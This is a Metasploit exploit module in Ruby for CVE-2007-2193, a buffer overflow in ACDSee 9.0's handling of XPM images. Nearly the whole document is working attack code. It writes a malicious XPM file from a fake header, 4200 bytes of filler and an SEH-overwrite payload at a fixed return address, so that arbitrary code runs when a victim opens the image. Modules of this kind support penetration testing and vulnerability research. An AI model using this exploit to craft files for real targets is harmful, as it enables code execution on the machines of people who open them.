ACDSee - '.XPM' File Section Buffer Overflow (Metasploit)

##
# $Id: acdsee_xpm.rb 10477 2010-09-25 11:59:02Z mc $
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
	Rank = GoodRanking

	include Msf::Exploit::FILEFORMAT
	include Msf::Exploit::Remote::Seh

	def initialize(info = {})
		super(update_info(info,
			'Name'           => 'ACDSee XPM File Section Buffer Overflow',
			'Description'    => %q{
					This module exploits a buffer overflow in ACDSee 9.0.
				When viewing a malicious XPM file with the ACDSee product,
				a remote attacker could overflow a buffer and execute
				arbitrary code.
			},
			'License'        => MSF_LICENSE,
			'Author'         => 'MC',
			'Version'        => '$Revision: 10477 $',
			'References'     =>
				[
					[ 'CVE', '2007-2193' ],
					[ 'OSVDB', '35236' ],
					[ 'BID', '23620' ],
				],
			'DefaultOptions' =>
				{
					'EXITFUNC' => 'process',
					'DisablePayloadHandler' => 'true',
				},
			'Payload'        =>
				{
					'Space'    => 750,
					'BadChars' => "\x00",
					'StackAdjustment' => -3500,
					'EncoderType'   => Msf::Encoder::Type::AlphanumUpper,
					'DisableNops'   =>  'True',
				},
			'Platform' => 'win',
			'Targets'        =>
				[
					[ 'ACDSee 9.0 (Build 1008)', { 'Ret' => 0x10020758 } ],
				],
			'Privileged'     => false,
			'DisclosureDate' => 'Nov 23 2007',
			'DefaultTarget'  => 0))

		register_options(
			[
				OptString.new('FILENAME', [ true, 'The file name.',  'msf.xpm']),
			], self.class)
	end

	def exploit

		filler = rand_text_alpha_upper(rand(25) + 1)

		# http://www.fileformat.info/format/xpm/
		head =  "/* XPM */\r\n"
		head << "static char * #{filler}[] = {\r\n"
		head << "\""

		buff =  rand_text_alpha_upper(4200) + generate_seh_payload(target.ret)

		foot =  "\",\r\n" + "};\r\n"

		xpm = head + buff + foot

		print_status("Creating '#{datastore['FILENAME']}' file ...")

		file_create(xpm)

	end

end